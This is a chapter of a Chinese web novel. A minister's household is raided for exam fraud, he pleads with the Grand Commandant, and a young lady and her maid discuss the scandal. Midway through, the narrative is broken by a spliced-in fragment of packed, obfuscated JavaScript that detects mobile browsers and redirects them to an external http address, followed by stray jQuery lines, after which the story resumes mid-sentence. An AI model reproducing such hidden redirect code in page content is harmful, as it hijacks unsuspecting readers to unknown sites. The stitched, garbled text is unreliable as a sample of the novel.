43. 第43章

作品:《折青枝

    禁军前往王府抄家之时,工部左侍郎王锋程并不在府中。


    一家老小三十余人和满府上下近两百数的仆人,皆被禁军捉拿在府。


    王府里人人惊慌失措,六神无主,丫鬟小厮有的趁乱想要逃走,有的趁机起了贪念,偷拿哄抢主子的金银珠宝。


    禁军尤将王锋程的书房团团围住,搜出来的书信奏折,连一张纸片也不放过。


    一时王府里的哭天喊地之声几乎传出府外,引得门外驻足围观的百姓窃窃私语。


    直到天色渐暗,奉康城里四处亮起灯火,王府里乱作一团的动静才渐渐消停下来,变得一片沉寂。


    而这时,王家的一家之主王锋程,正躲身在一座高门府邸的后街暗巷之中。


    府邸的后门打开,小厮守在门外:“王大人,小的已经去看过三回了,太尉大人真的还没回来。”


    “劳驾,请你再去看一回吧!这都快亥时了,太尉大人该回来了吧!”


    堂堂朝中三品大官,王锋程何曾对一个看门的小厮这般卑躬屈膝过。


    恐怕这后门一介区区看门的小厮,素日里连他王侍郎的一个正脸都见不着。


    但所谓皇权富贵,皇权永远凌驾在富贵之上。


    百年世家,一朝倾覆,也不过是犹如丧家之犬,哪还有往日的尊贵显赫。


    王锋程不知道低声下气地请了几遍,那小厮终于不耐得听他聒噪,又去了前厅一趟。


    这回,终于有人出来,将王锋程请进了太尉府中。


    下人将王锋程引进正厅,躬身退下。


    王锋程赶紧抬眼,太尉严会忠坐在正厅最里头的正位交椅之上,略有苍老的面容在厅中初点的烛灯下,显得晦暗不明。


    王锋程心里打鼓,却也顾不得害怕,连忙走进两步扑通跪下。


    “太尉,您一定要救救锋程!这些年,我为您鞍前马后,没有功劳也有苦劳,如今……”


    “你是为老夫鞍前马后么?”


    严太尉打断王锋程的话问道。


    严太尉稍稍坐直,颇为威严的面容被渐渐烧得明堂的烛灯照得更为清晰。


    那苍颜的脸上显出几分疲惫。


    “世家本是一体,彼此利益相连。你这些年汲汲营营,难道不也是为了王家么?如今一句为老夫鞍前马后,难道你为你那不成器的儿子,竟敢插手科举,也是为了老夫?”


    王锋程脸色几番变换,到底被问得说不出话来。


    好半晌,王锋程才又白着一张脸,艰难发声道:“可是太尉,我、我王家世代忠君,为先皇、为当今圣上,可谓是尽心尽力,如今不过是我一时糊涂,陛下应当不会对我们王家赶尽杀绝吧?”


    “一时糊涂?”严太尉疑声诘问,“你收买上下事关之人,打通阅审考卷的关窍,做出抽梁换柱的舞弊之举,这一层一层,你件件事情做得小心又隐秘,这叫一时糊涂?”


    “……”


    “老夫早提醒过你,科举事关国运,更是陛下不容有失、扶持寒门的国策,你若非要撞上去,便只有撞得头破血流、触怒龙颜的份。”


    “……可是太尉,事已至此,难道我王家就只能眼睁睁地等着满门抄斩了吗?!”


    严太尉没有说话。


    王锋程膝行两步,已是悔不当初、泪眼婆娑。


    “太尉,我求您了,您就看在王家这么多年为您、为陛下效力的份上,您、您就帮帮锋程吧!”


    严太尉叹气。


    “太尉,如今只有您能劝得动陛下了啊!”


    “……陛下,早已不是刚登基时的陛下了,恐怕不会轻易再听老夫的劝言。”


    “太尉……”


    王锋程悲从中来,两行泪水止不住地在脸上滑下。


    严太尉又叹息一声,到底于心不忍。


    “锋程啊,在这件事上,老夫能帮你的,实在有限。”严太尉默了默,又接道,“……老夫至多,只能保下彬儿。”


    王锋程脸色一顿,又悲又喜地抬起头来。


    “……能保住彬儿,那、那我们王家也算是留后了……太尉……多谢太尉大人!”


    王锋程重重叩首。


    *


    奉康城里一整夜都乱糟糟的。


    禁军查抄王家,百姓不知发生了什么,议论纷纷。


    苏青梧回府之后,倒是早早就睡下了。


    可能是白日一整日坐马车,接连辗转了好几个地方,苏青梧累得很,一沾上枕头就睡着了。


    一夜无梦,第二日睡到辰时三刻才起来。


    父亲和兄长本该休沐,但又没在家,一早就进宫去了。


    苏青梧去北院给祖父请过安,回来后,与苏夫人一起用早饭。


    “怎么去了这么久?”


    “祖父今日精神格外好,留我多说了会儿话。”


    苏夫人闻言,没有再说什么,给女儿盛了一碗鲈脍鸡丝汤递过去。


    苏青梧接过,奇怪道:“今日府里好生安静。”


    苏夫人自盛了一碗汤,‘嗯’了一声应。


    “外头闹腾,我已吩咐下去,叫府里的人不许多舌。多事之秋,还是安静些好。”


    “外头出什么事了?”苏青梧才反应过来,想起昨晚回来在街上遇到禁军的事。


    “王家被抄了。”苏夫人道。


    见苏青梧一时没反应过来。


    苏夫人又道:“就是工部左侍郎王大人家。他儿子你应当认识,叫做王彬。”


    “王彬?!”苏青梧一惊,“王家好端端的,怎么突然抄家了……”


    “什么好端端的。”苏夫人轻轻责备女儿一眼。


    这样承天子之怒获罪的人家,绝不能在外头说什么‘好端端的’。


    既惹怒了陛下,那必然是王家有什么错处,岂会是‘好端端的’。


    苏青梧看母亲眼色,自知一时失言,忙抿了抿唇。


    苏夫人倒也没格外责备她,只是嘱咐道:“外头恐怕还要乱上几日,这几日你就先不要出门了,免得遇上什么事。”


    “知道了,阿娘。”苏青梧应下。


    身在奉康城,天子脚下,像王家这样富贵无常、朝生暮死的事,实在常见得很。


    远近几十年,不知多少赫赫扬扬的世家倾覆。


    就连当年名重天下,出过两位帝师、一位宰辅的世家之首叶家,最后也烈火烹油太过,落得株连满门的下场。


    像王家这样的事,在奉康城里也不过数月谈资,对苏青梧来说,更只是她的一声唏嘘罢了。


    她很快便放下此事,专心做她的功课去了。


    接连两日,王家被抄家的事在奉康城闹得沸沸扬扬,各种流言甚嚣尘上。


    苏青梧沉得住气、静得下心,不理会外头的事。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245648|163154||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >小荷却不行。


    小荷很快在外头听到许多传言,回来便同苏青梧学舌。


    “小姐,你可知道王家是为何被抄家的吗?”


    苏青梧摇头:“不知。”


    小荷:“……”


    小姐的目光甚至没从画纸上抬起来过,看都不看她一眼。


    小荷顿时没了卖关子说书的兴致。


    蔫巴巴道:“说是王侍郎利用在朝的各种关系,用了各种手段,竟然在今年的会试中做了手脚,将其中一名厉害的考生的答卷,名字换成了王家公子的。”


    “嗯……嗯?”苏青梧终于抬起脸来。


    小荷立时亮起眼睛:“小姐,上回咱们可真没说错,那王公子草包一个,能考中果然有问题!”


    当初看到杏榜上有王彬的名字,苏青梧和小荷、春兰还议论过。


    如今证实果真是有问题。


    小荷气呼呼道:“王公子家大业大,就算不参加科举将来也是一辈子富贵无忧的命,为什么又要参加科举,又要作弊呢?如今却是什么富贵都没有了,连性命也要没有了。”


    苏青梧既诧异又欢喜地看小荷一眼。


    小荷虽然是个小丫鬟,却能说出这样的‘大道理’来。


    “小荷,你真了不起,许多身居高位、求名求利的人,若是能有你这样一份不贪得的心,也许就不会走到这富贵倾覆的末路了。”


    小荷愣了愣,继而脸红起来:“小姐说得小荷都不好意思了……”


    “有什么不好意思的。”苏青梧温温地笑,“你适才不说,我都没往这上头想。王彬出身世家,有那泼天的富贵还不够,他若求更多,自管用功也便是了,非要走这邪门歪道,如今倒是什么都没有了……”


    小荷点点头,又愤愤道:“王大人身为朝廷三品的官员,竟然徇私舞弊,为自己的儿子谋私利。这样不将普通考生的前途放在眼里,岂止是枉法营私,简直就是祸害大旂的江山社稷,妄图把天下寒门士子都拒之高权重位的门外,好叫他们世家全享其成。”


    苏青梧愣住,这回是真的惊住了。


    “小荷,你竟然还能说出这样一番话来?!你简直叫我刮目相看。”苏青梧起身,“小荷,你足为我师了,我全然都没这般深想。”


    小荷连连摆手:“小姐小姐!这些不是我说的!这些话,是、是我在外头听说书先生说的……他们慷慨陈词,就是这么说的……”


    苏青梧愣了愣,明白过来。


    但她很快仍是对着小荷笑起来,不住口地赞许。


    “说书先生说的话那样多,你记住的这些,却必然是其中最紧要之一二,这说明你极有悟性。要不以后,你同我一起念书吧,我教你。”


    小荷一听,连连退后不肯:“不不不!小姐还是算了吧,我、我看书头晕,我能识得些字就很足够用了,叫我像小姐一般用功,那我可不成……”


    苏青梧不是第一回提这事了,已经习惯了小荷的拒绝。


    她无可奈何,又坐回书案后。


    小荷才又上前来。


    苏青梧叹道;“王家阴谋败露,罪有应得,只是不知道,那个可怜被替走了考卷的考生,如今如何了?”


    小荷一听,跟着叹气:“落榜的考生恐怕早都回乡去了……陛下忙着惩处王家,平息民议,怕是也顾不上他呢。”


    “那真是可惜……”